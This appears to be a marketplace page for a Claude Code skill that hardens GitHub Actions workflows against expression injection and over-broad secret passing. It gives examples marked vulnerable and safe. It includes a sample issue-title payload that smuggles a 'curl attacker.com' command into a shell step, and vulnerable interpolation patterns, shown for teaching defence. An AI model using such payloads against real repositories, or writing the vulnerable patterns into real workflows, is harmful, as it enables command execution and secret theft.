audit-memory
Audit Claude's saved memories for claims that no longer hold true — verify each against current code, PRs and tickets, then…
Harden GitHub Actions workflows against supply-chain and injection attacks when creating, modifying, or reviewing a `.github/workflows/*.yml` file. Skip for unrelated CI work (other CI providers, test harnesses, dependency pinning) that does not touch a workflow YAML.
$ npx -y skills add intercom/2x-skills --skill secure-github-actions --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/secure-github-actionsContext preview
The summary Claude sees to decide when to auto-load this skill.
Harden GitHub Actions workflows against supply-chain and injection attacks when creating, modifying, or reviewing a `.github/workflows/*.yml` file. Skip for unrelated CI work (other CI providers, test harnesses, dependency pinning) that does not touch a workflow YAML.
name: secure-github-actions description: | Harden GitHub Actions workflows against supply-chain and injection attacks when creating, modifying, or reviewing a `.github/workflows/*.yml` file. Skip for unrelated CI work (other CI providers, test harnesses, dependency pinning) that does not touch a workflow YAML. metadata: keywords: github actions, workflow yaml, .github/workflows, expression injection, SHA pin, pull_request_target, claude-code-action version: "1.1" user-invocable: true allowed-tools: Read Grep Glob Bash
Enforces supply chain hardening rules for GitHub Actions workflows. Every rule below addresses a real vulnerability class found in security audits of production workflows.
This skill is specifically for **GitHub Actions workflow YAML files**. If you reach it but the actual task is one of the below, **step aside**: say in a single line that the rules here only apply to `.github/workflows/*.yml` edits and continue with the real task. Do not run the audit grep commands or the pre-PR checklist on unrelated code.
CircleCI/GitLab/Jenkins config, etc.) — use that provider's own tooling
(`package.json`, `Gemfile`, `pom.xml`, `go.mod`, `requirements.txt`, `Cargo.toml`, …) — even though supply-chain–adjacent, the rules below are about workflow YAML idioms
PyPI, crates, …) — use a package supply-chain scanner
If a workflow file is *also* in scope alongside one of the above, apply the rules to the workflow file and step aside for the rest.
**Never** interpolate any `${{ }}` expression directly in a `run:` block — route everything through `env:` variables. This applies to all expressions, not just attacker-controlled ones:
bad habits, zizmor flags them, and any future refactor that introduces attacker input into the same block inherits the anti-pattern
# VULNERABLE — attacker-controlled title executes as shell
run: |
TITLE="${{ github.event.issue.title }}"
# ALSO WRONG — "not attacker-controlled" is not an excuse
run: |
gh issue edit "${{ github.event.issue.number }}" --repo "${{ github.repository }}"
curl -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" "$URL"
# SAFE — env vars are set before shell parses the script
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_NUMBER: ${{ github.event.issue.number }}
REPO: ${{ github.repository }}
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
echo "$ISSUE_TITLE"
gh issue edit "$ISSUE_NUMBER" --repo "$REPO"**Why:** GitHub expands `${{ }}` expressions via string interpolation *before* the shell sees the script. A malicious issue title like `"; curl attacker.com; "` breaks out of quotes and executes arbitrary commands. Env vars are injected as process environment, not text substitution, so shell metacharacters are inert.
Even "safe" values like `github.repository` or `secrets.GITHUB_TOKEN` should go through `env:` — secrets can leak via `set -x` or shell error messages, and allowing some `${{ }}` in `run:` blocks trains the pattern as acceptable, leading to copy-paste injection bugs when the same block is extended with attacker-controlled values later.
**Simple rule: if you see `${{ }}` inside a `run:` block, it's wrong. Move it to `env:`.**
**Highest-risk expressions** (attacker-controlled — shell injection):
**Still wrong in `run:` blocks** (not attacker-controlled, but banned):
**Safe in `with:` blocks** (YAML context, no shell): `${{ }}` in action `with:` inputs is safe from *shell* injection, but still a prompt injection vector if passed to AI tools.
Always use explicit `secrets:` mapping when calling reusable workflows. List exactly which secrets the called workflow needs.
# VULNERABLE — exposes ALL repo secrets to the called workflow
jobs:
notify:
uses: your-org/shared-workflows/.github/workflows/notify.yml@9f8e7d6c5b4a39281706f5e4d3c2b1a09f8e7d6c # v2.3.1
secrets: inherit
# SAFE — only passes what's needed
jobs:
notify:
uses: your-org/shared-workflows/.github/workflows/notify.yml@9f8e7d6c5b4a39281706f5e4d3c2b1a09f8e7d6c # v2.3.1
secrets:
SLACK_BOT_TOKEN: ${{ secrets.SLACK_BOT_TOKEN }}**Why:** `secrets: inherit` passes every secret the caller has access to. If the called workflow is compromised, every secret is exfiltrated. This is a well-documented real-world exfiltration path — incidents have traced back to a single `secrets: inherit` repeated
A marketplace of Claude Code skills built by the Fin 2x team.
Audit Claude's saved memories for claims that no longer hold true — verify each against current code, PRs and tickets, then…
Analyze Claude Code usage costs from OpenTelemetry data — per-user spend, expensive sessions, context bloat, and model/token cost…
Vet a Claude Code permission allowlist against a GREEN/YELLOW/RED safety model and reduce permission prompts. Runs on top of the…
Scan recent Claude Code sessions for "command not found" errors and BSD/GNU incompatibilities on macOS, fix them via Homebrew,…
Run an extremely strict structural and architectural quality review on a diff, branch, or file set, hunting for "code judo" moves…
Upload local files (screenshots, screen recordings, images, videos) to GitHub as user-attachment assets and return markdown-ready…